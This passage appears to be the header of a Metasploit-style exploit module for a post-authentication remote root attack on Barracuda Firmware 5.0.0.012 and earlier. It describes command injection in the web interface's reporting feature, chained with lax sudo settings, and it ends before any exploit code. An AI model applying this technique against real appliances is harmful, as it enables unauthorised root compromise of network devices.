# Version: Firmware <= 5.0.0.012
# Tested on: Vx and Hardware platforms
#
# Postauth remote root in Barracuda Firmware <= 5.0.0.012 for any under priviledged user with report generating
# capablities. This exploit leverages a command injection bug along with poor sudo permissions to obtain
# root. xort@blacksecurity.org

'Name' => 'Barracuda Firmware <= 5.0.0.012 reporting Post Auth Remote Root',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Barracuda Firmware Version <= 5.0.0.012 by exploiting a
vulnerability in the web administration interface.
By sending a specially crafted request it's possible to inject system
commands while escalating to root do to relaxed sudo configuration on the local
machine.
